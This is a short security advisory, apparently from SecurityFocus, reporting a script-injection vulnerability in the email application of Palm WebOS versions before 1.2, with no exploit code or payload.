Palm WebOS 1.0/1.1 Email Arbitrary Script Injection Vulnerability

                                                source: http://www.securityfocus.com/bid/36592/info

Palm WebOS is prone to an arbitrary-script-injection vulnerability because the integrated email application fails to properly sanitize user-supplied input.

An attacker can exploit this issue to execute arbitrary script code. Successful exploits can compromise the application.

Versions prior to WebOS 1.2 are vulnerable.
